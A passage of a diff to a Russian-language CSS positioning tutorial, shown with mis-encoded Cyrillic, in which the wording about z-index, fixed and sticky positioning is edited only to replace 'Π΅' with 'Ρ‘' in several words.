ΠΎΠ΄ΠΈΠ½ ΠΈΠ· элСмСнтов, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ Π²Π»ΠΎΠΆΠ΅Π½ (Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ элСмСнта, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ НЕ Π²Π»ΠΎΠΆΠ΅Π½).</span> <span title="">Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ это, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ объявлСниС Π² ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ вашСго </span></span><code>body</code><span class="tlid-translation translation" lang="ru"><span title="">:</span></span></p>
<pre class="brush: css notranslate">position: relative;</pre>
@@ -239,7 +239,7 @@ span {
<h3 id="Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_z-index">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² z-index</h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ВсС это Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title="">Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ Ρ€Π°Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅</span></span>, Π½ΠΎ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ Ρ‡Π΅Π³ΠΎ ΠΌΡ‹ Π΅Ρ‰Π΅ Π½Π΅ рассмотрСли β€” ΠΊΠΎΠ³Π΄Π° элСмСнты Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ опрСдСляСт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ· элСмСнтов Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта? Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ всС это врСмя, Ρƒ нас имССтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π² контСкстС позиционирования, ΠΈ ΠΎΠ½ появляСтся свСрху ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты "ΠΏΠΎΠ±Π΅ΠΆΠ΄Π°ΡŽΡ‚" Π½Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ элСмСнты. Π§Ρ‚ΠΎ ΠΆΠ΅ насчСт Ρ‚ΠΎΠ³ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ?</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ВсС это Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title="">Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ Ρ€Π°Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅</span></span>, Π½ΠΎ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ Ρ‡Π΅Π³ΠΎ ΠΌΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ рассмотрСли β€” ΠΊΠΎΠ³Π΄Π° элСмСнты Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ опрСдСляСт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ· элСмСнтов Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта? Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ всС это врСмя, Ρƒ нас имССтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π² контСкстС позиционирования, ΠΈ ΠΎΠ½ появляСтся свСрху ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты "ΠΏΠΎΠ±Π΅ΠΆΠ΄Π°ΡŽΡ‚" Π½Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ элСмСнты. Π§Ρ‚ΠΎ ΠΆΠ΅ насчёт Ρ‚ΠΎΠ³ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ?</p>
<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ Ρ‚Π°ΠΊ ΠΆΠ΅ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ:</p>
@@ -250,11 +250,11 @@ span {
right: 30px;
}</pre>
-<p>На этом этапС Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ΠΎΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΉ Π² Π»Π°ΠΉΠΌΠΎΠ²Ρ‹ΠΉ ΠΈΠ·ΡŠΡΡ‚ ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Ρ‡ΡƒΡ‚ΠΎΡ‡ΠΊΡƒ Π²Ρ‹ΡˆΠ΅ Ρ‚ΠΎΠ³ΠΎ мСста, Π³Π΄Π΅ ΠΎΠ½ Π±Ρ‹Π» исходно. А <span class="tlid-translation translation" lang="ru"><span title="">Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ½ располоТСн ΠΏΠΎΠ΄ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠΌ </span></span><code>.positioned</code>, Π³Π΄Π΅ ΠΎΠ½ΠΈ ΠΎΠ±Π° ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ <code>.positioned</code> являСтся Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠΌ ΠΏΠΎ порядку Π² источникС ΠΈ ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты Π² порядкС источника Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°ΡŽΡ‚ Π½Π°Π΄ Ρ€Π°Π½Π΅Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ элСмСнтами Π² порядкС источника.</p>
+<p>На этом этапС Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ΠΎΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΉ Π² Π»Π°ΠΉΠΌΠΎΠ²Ρ‹ΠΉ ΠΈΠ·ΡŠΡΡ‚ ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Ρ‡ΡƒΡ‚ΠΎΡ‡ΠΊΡƒ Π²Ρ‹ΡˆΠ΅ Ρ‚ΠΎΠ³ΠΎ мСста, Π³Π΄Π΅ ΠΎΠ½ Π±Ρ‹Π» исходно. А <span class="tlid-translation translation" lang="ru"><span title="">Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ½ располоТСн ΠΏΠΎΠ΄ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠΌ </span></span><code>.positioned</code>, Π³Π΄Π΅ ΠΎΠ½ΠΈ ΠΎΠ±Π° ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ <code>.positioned</code> являСтся Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠΌ ΠΏΠΎ порядку Π² источникС ΠΈ ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты Π² порядкС источника Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°ΡŽΡ‚ Π½Π°Π΄ Ρ€Π°Π½Π΅Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ элСмСнтами Π² порядкС источника.</p>
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ порядок налоТСния?</span></span> Π”Π°, ΠΌΠΎΠΆΠ΅Ρ‚Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство {{cssxref("z-index")}}. "z-index" это ссылка ΠΊ z-оси. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… этапов Π² этом курсС, Π³Π΄Π΅ ΠΌΡ‹ обсуТдали использованиС Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… (x-ось) ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… (y-оси) ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π²Π΅Π±-страницами для <span class="tlid-translation translation" lang="ru"><span title="">опрСдСлСния ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ для Ρ‚Π°ΠΊΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠ°ΠΊ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния</span></span> ΠΈ смСщСниС Ρ‚Π΅Π½Π΅ΠΉ. (0,0) находится Π½Π°Π²Π΅Ρ€Ρ…Ρƒ слСва страницы (ΠΈΠ»ΠΈ элСмСнта) ΠΈ оси x- ΠΈ y- Π½Π°ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΏΡ€Π°Π²ΠΎ ΠΈ Π²Π½ΠΈΠ· страницы (<span class="tlid-translation translation" lang="ru"><span title="">Π²ΠΎ всяком случаС,</span></span> для языков, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… слСва Π½Π° ΠΏΡ€Π°Π²ΠΎ).</p>
-<p>Π£ Π²Π΅Π±-страниц Ρ‚Π°ΠΊΠΆΠ΅ имССтся z-ось: вообраТаСмая линия, которая направляСтся ΠΎΡ‚ повСрхности вашСго экрана ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Π»ΠΈΡ†Ρƒ (<span class="tlid-translation translation" lang="ru"><span title="">ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ Π΅Ρ‰Π΅ Π²Π°ΠΌ нравится ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄ экраном). </span></span>ЗначСния {{cssxref("z-index")}} Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Ρ‚ΠΎ Π³Π΄Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт располагаСтся Π½Π° этой оси; ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΠΈΡ… Π²Ρ‹ΡˆΠ΅ ΠΏΠΎ налоТСнию, Π° ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΠΈΡ… Π½ΠΈΠΆΠ΅ ΠΏΠΎ налоТСнию. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ всС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты ΠΈΠΌΠ΅ΡŽΡ‚ <code>z-index</code> <code>auto</code>, Ρ‡Ρ‚ΠΎ фактичСски Ρ€Π°Π²Π½ΠΎ 0.</p>
+<p>Π£ Π²Π΅Π±-страниц Ρ‚Π°ΠΊΠΆΠ΅ имССтся z-ось: вообраТаСмая линия, которая направляСтся ΠΎΡ‚ повСрхности вашСго экрана ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Π»ΠΈΡ†Ρƒ (<span class="tlid-translation translation" lang="ru"><span title="">ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ Π΅Ρ‰Ρ‘ Π²Π°ΠΌ нравится ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄ экраном). </span></span>ЗначСния {{cssxref("z-index")}} Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Ρ‚ΠΎ Π³Π΄Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт располагаСтся Π½Π° этой оси; ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΠΈΡ… Π²Ρ‹ΡˆΠ΅ ΠΏΠΎ налоТСнию, Π° ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΠΈΡ… Π½ΠΈΠΆΠ΅ ΠΏΠΎ налоТСнию. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ всС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты ΠΈΠΌΠ΅ΡŽΡ‚ <code>z-index</code> <code>auto</code>, Ρ‡Ρ‚ΠΎ фактичСски Ρ€Π°Π²Π½ΠΎ 0.</p>
<p>Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ порядок налоТСния, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ для вашСго <code>p:nth-of-type(1)</code> ΠΏΡ€Π°Π²ΠΈΠ»Π°:</p>
@@ -341,7 +341,7 @@ p:nth-of-type(1) {
padding: 10px;
}</pre>
-<p><code>top: 0;</code> Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΊΠ»Π΅ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊ Π²Π΅Ρ€Ρ…Ρƒ экрана. ΠΌΡ‹ Π΄Π°Π»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Ρ‚Ρƒ ΠΆΠ΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ‡Ρ‚ΠΎ ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌ с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π΄Π°Π΅ΠΌ Π΅ΠΌΡƒ Π±Π΅Π»Ρ‹ΠΉ Ρ„ΠΎΠ½ ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ padding ΠΈ margin, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π΅ Π±Ρ‹Π» Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</p>
+<p><code>top: 0;</code> Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΊΠ»Π΅ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊ Π²Π΅Ρ€Ρ…Ρƒ экрана. ΠΌΡ‹ Π΄Π°Π»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Ρ‚Ρƒ ΠΆΠ΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ‡Ρ‚ΠΎ ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌ с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π΄Π°Ρ‘ΠΌ Π΅ΠΌΡƒ Π±Π΅Π»Ρ‹ΠΉ Ρ„ΠΎΠ½ ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ padding ΠΈ margin, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π΅ Π±Ρ‹Π» Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</p>
<p>Если Π²Ρ‹ сохранитС ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ сСйчас, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ малСнький Π·Π°Π±Π°Π²Π½Ρ‹ΠΉ эффСкт, <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ останСтся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ, Π° содСрТимоС Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π²Π²Π΅Ρ€Ρ… ΠΈ ΠΈΡΡ‡Π΅Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</span></span> Но ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ это β€” Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ начинаСтся ΠΏΠΎΠ΄ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ. Π­Ρ‚ΠΎ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ большС Π½Π΅ появляСтся Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, поэтому ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ содСрТимоС поднимаСтся Π½Π°Π²Π΅Ρ€Ρ…. Нам Π½Π°Π΄ΠΎ ΡΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡŒ всС это Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Π½ΠΈΠ·; ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это установив Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ margin ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρƒ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ сСйчас:</p>
@@ -401,7 +401,7 @@ p:nth-of-type(1) {
<h3 id="position_sticky">position: sticky</h3>
-<p>Доступно Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ <code>position: sticky</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ нСсколько Π½ΠΎΠ²Π΅Π΅ Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. <span class="tlid-translation translation" lang="ru"><span title="">По сути, это Π³ΠΈΠ±Ρ€ΠΈΠ΄ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈ фиксированной ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌΡƒ элСмСнту вСсти сСбя ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ ΠΎΠ½ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° ΠΎΠ½ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡Π΅Π½ Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 10px ΠΎΡ‚ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΎΠΊΠ½Π° просмотра), послС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ становится фиксированным.Β </span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ панСль Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ вмСстС со страницСй Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы.</span></span></p>
+<p>Доступно Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ <code>position: sticky</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ нСсколько Π½ΠΎΠ²Π΅Π΅ Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. <span class="tlid-translation translation" lang="ru"><span title="">По сути, это Π³ΠΈΠ±Ρ€ΠΈΠ΄ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈ фиксированной ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌΡƒ элСмСнту вСсти сСбя ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ 